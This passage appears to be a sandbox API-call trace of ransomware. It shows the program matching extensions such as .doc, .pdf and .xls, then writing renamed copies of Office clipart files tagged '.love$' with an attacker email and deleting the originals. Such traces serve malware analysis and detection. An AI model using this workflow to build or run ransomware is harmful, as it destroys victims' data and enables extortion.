Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68 [0261.066] lstrlenW (lpString=".zip") returned 4 [0261.066] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0261.066] lstrlenW (lpString=".rar") returned 4 [0261.066] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0261.066] lstrlenW (lpString=".bz2") returned 4 [0261.066] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0261.066] lstrlenW (lpString=".7z") returned 3 [0261.066] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0261.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68 [0261.066] lstrlenW (lpString=".dbf") returned 4 [0261.066] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0261.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68 [0261.066] lstrlenW (lpString=".1cd") returned 4 [0261.066] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0261.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68 [0261.066] lstrlenW (lpString=".jpg") returned 4 [0261.067] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0261.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68 [0261.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68 [0261.067] lstrlenW (lpString=".doc") returned 4 [0261.067] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0261.067] lstrlenW (lpString=".docx") returned 5 [0261.067] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0261.067] lstrlenW (lpString=".pdf") returned 4 [0261.067] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0261.067] lstrlenW (lpString=".xls") returned 4 [0261.067] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0261.067] lstrlenW (lpString=".xlsx") returned 5 [0261.067] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0261.067] lstrlenW (lpString=".ppt") returned 4 [0261.067] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0261.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68 [0261.068] lstrlenW (lpString=".zip") returned 4 [0261.068] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0261.068] lstrlenW (lpString=".rar") returned 4 [0261.068] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0261.068] lstrlenW (lpString=".bz2") returned 4 [0261.105] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0261.105] lstrlenW (lpString=".7z") returned 3 [0261.105] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0261.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68 [0261.105] lstrlenW (lpString=".dbf") returned 4 [0261.105] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0261.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68 [0261.105] lstrlenW (lpString=".1cd") returned 4 [0261.105] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0261.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68 [0261.105] lstrlenW (lpString=".jpg") returned 4 [0261.105] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0261.105] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0261.105] lstrlenW (lpString="IN00346_.WMF") returned 12 [0261.106] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00346_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0261.107] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=696) returned 1 [0261.107] CloseHandle (hObject=0x57c) returned 1 [0261.107] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00346_.wmf")) returned 0x220 [0261.107] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00346_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0261.108] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00346_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0261.108] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.108] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.109] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00346_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0261.110] GetLastError () returned 0x0 [0261.110] ReadFile (in: hFile=0x57c, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x2b8, lpOverlapped=0x0) returned 1 [0261.112] WriteFile (in: hFile=0x580, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x2c0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x2c0, lpOverlapped=0x0) returned 1 [0261.113] ReadFile (in: hFile=0x57c, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0261.113] WriteFile (in: hFile=0x580, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0261.114] SetEndOfFile (hFile=0x580) returned 1 [0261.114] CloseHandle (hObject=0x580) returned 1 [0261.114] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.114] SetEndOfFile (hFile=0x57c) returned 1 [0261.119] CloseHandle (hObject=0x57c) returned 1 [0261.119] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0261.120] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00346_.wmf")) returned 1 [0261.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68 [0261.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68 [0261.121] lstrlenW (lpString=".doc") returned 4 [0261.121] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0261.121] lstrlenW (lpString=".docx") returned 5 [0261.121] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0261.121] lstrlenW (lpString=".pdf") returned 4 [0261.121] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0261.121] lstrlenW (lpString=".xls") returned 4 [0261.122] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0261.122] lstrlenW (lpString=".xlsx") returned 5 [0261.122] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0261.122] lstrlenW (lpString=".ppt") returned 4 [0261.122] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0261.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68 [0261.122] lstrlenW (lpString=".zip") returned 4 [0261.122] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0261.122] lstrlenW (lpString=".rar") returned 4 [0261.122] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0261.122] lstrlenW (lpString=".bz2") returned 4 [0261.122] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0261.122] lstrlenW (lpString=".7z") returned 3 [0261.122] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0261.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68 [0261.122] lstrlenW (lpString=".dbf") returned 4 [0261.122] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0261.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68 [0261.122] lstrlenW (lpString=".1cd") returned 4 [0261.122] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0261.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68 [0261.122] lstrlenW (lpString=".jpg") returned 4 [0261.122] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0261.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68 [0261.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68 [0261.123] lstrlenW (lpString=".doc") returned 4 [0261.123] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0261.123] lstrlenW (lpString=".docx") returned 5 [0261.123] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0261.123] lstrlenW (lpString=".pdf") returned 4 [0261.123] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0261.123] lstrlenW (lpString=".xls") returned 4 [0261.123] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0261.123] lstrlenW (lpString=".xlsx") returned 5 [0261.123] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0261.123] lstrlenW (lpString=".ppt") returned 4 [0261.123] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0261.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68 [0261.123] lstrlenW (lpString=".zip") returned 4 [0261.123] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0261.123] lstrlenW (lpString=".rar") returned 4 [0261.123] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0261.123] lstrlenW (lpString=".bz2") returned 4 [0261.123] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0261.123] lstrlenW (lpString=".7z") returned 3 [0261.124] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0261.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68 [0261.124] lstrlenW (lpString=".dbf") returned 4 [0261.124] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0261.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68 [0261.124] lstrlenW (lpString=".1cd") returned 4 [0261.124] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0261.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68 [0261.124] lstrlenW (lpString=".jpg") returned 4 [0261.124] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0261.124] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0261.124] lstrlenW (lpString="IN00351_.WMF") returned 12 [0261.124] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00351_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0261.126] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=1928) returned 1 [0261.126] CloseHandle (hObject=0x57c) returned 1 [0261.126] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00351_.wmf")) returned 0x220 [0261.126] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00351_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0261.126] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00351_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0261.127] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.127] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.127] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00351_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0261.129] GetLastError () returned 0x0 [0261.129] ReadFile (in: hFile=0x57c, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x788, lpOverlapped=0x0) returned 1 [0261.235] WriteFile (in: hFile=0x580, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x790, lpOverlapped=0x0) returned 1 [0261.236] ReadFile (in: hFile=0x57c, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0261.236] WriteFile (in: hFile=0x580, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0261.237] SetEndOfFile (hFile=0x580) returned 1 [0261.265] CloseHandle (hObject=0x580) returned 1 [0261.274] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.274] SetEndOfFile (hFile=0x57c) returned 1 [0261.339] CloseHandle (hObject=0x57c) returned 1 [0261.339] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0261.340] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00351_.wmf")) returned 1 [0261.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68 [0261.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68 [0261.342] lstrlenW (lpString=".doc") returned 4 [0261.342] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0261.342] lstrlenW (lpString=".docx") returned 5 [0261.342] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0261.342] lstrlenW (lpString=".pdf") returned 4 [0261.342] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0261.342] lstrlenW (lpString=".xls") returned 4 [0261.342] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0261.342] lstrlenW (lpString=".xlsx") returned 5 [0261.342] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0261.342] lstrlenW (lpString=".ppt") returned 4 [0261.342] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0261.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68 [0261.342] lstrlenW (lpString=".zip") returned 4 [0261.342] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0261.342] lstrlenW (lpString=".rar") returned 4 [0261.342] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0261.342] lstrlenW (lpString=".bz2") returned 4 [0261.342] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0261.342] lstrlenW (lpString=".7z") returned 3 [0261.343] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0261.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68 [0261.343] lstrlenW (lpString=".dbf") returned 4 [0261.343] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0261.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68 [0261.343] lstrlenW (lpString=".1cd") returned 4 [0261.343] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0261.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68 [0261.343] lstrlenW (lpString=".jpg") returned 4 [0261.343] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0261.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68 [0261.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68 [0261.343] lstrlenW (lpString=".doc") returned 4 [0261.343] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0261.343] lstrlenW (lpString=".docx") returned 5 [0261.343] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0261.343] lstrlenW (lpString=".pdf") returned 4 [0261.343] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0261.343] lstrlenW (lpString=".xls") returned 4 [0261.343] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0261.343] lstrlenW (lpString=".xlsx") returned 5 [0261.343] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0261.343] lstrlenW (lpString=".ppt") returned 4 [0261.343] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0261.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68 [0261.344] lstrlenW (lpString=".zip") returned 4 [0261.344] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0261.344] lstrlenW (lpString=".rar") returned 4 [0261.344] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0261.344] lstrlenW (lpString=".bz2") returned 4 [0261.344] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0261.344] lstrlenW (lpString=".7z") returned 3 [0261.344] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0261.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68 [0261.344] lstrlenW (lpString=".dbf") returned 4 [0261.344] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0261.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68 [0261.344] lstrlenW (lpString=".1cd") returned 4 [0261.344] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0261.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68 [0261.344] lstrlenW (lpString=".jpg") returned 4 [0261.344] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0261.345] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0261.345] lstrlenW (lpString="IN00919_.WMF") returned 12 [0261.345] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00919_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0261.346] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=6920) returned 1 [0261.346] CloseHandle (hObject=0x57c) returned 1 [0261.346] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00919_.wmf")) returned 0x220 [0261.346] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00919_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0261.351] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00919_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0261.352] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.352] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.352] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00919_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0261.355] GetLastError () returned 0x0 [0261.355] ReadFile (in: hFile=0x57c, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x1b08, lpOverlapped=0x0) returned 1 [0261.357] WriteFile (in: hFile=0x568, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x1b10, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x1b10, lpOverlapped=0x0) returned 1 [0261.359] ReadFile (in: hFile=0x57c, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0261.359] WriteFile (in: hFile=0x568, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0261.359] SetEndOfFile (hFile=0x568) returned 1 [0261.359] CloseHandle (hObject=0x568) returned 1 [0261.359] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.359] SetEndOfFile (hFile=0x57c) returned 1 [0261.389] CloseHandle (hObject=0x57c) returned 1 [0261.389] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0261.400] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00919_.wmf")) returned 1 [0261.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68 [0261.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68 [0261.408] lstrlenW (lpString=".doc") returned 4 [0261.408] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0261.408] lstrlenW (lpString=".docx") returned 5 [0261.408] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0261.408] lstrlenW (lpString=".pdf") returned 4 [0261.408] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0261.408] lstrlenW (lpString=".xls") returned 4 [0261.409] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0261.409] lstrlenW (lpString=".xlsx") returned 5 [0261.409] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0261.409] lstrlenW (lpString=".ppt") returned 4 [0261.409] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0261.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68 [0261.409] lstrlenW (lpString=".zip") returned 4 [0261.409] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0261.409] lstrlenW (lpString=".rar") returned 4 [0261.409] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0261.409] lstrlenW (lpString=".bz2") returned 4 [0261.409] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0261.409] lstrlenW (lpString=".7z") returned 3 [0261.409] lstrcmpiW (lpString1=".7z", 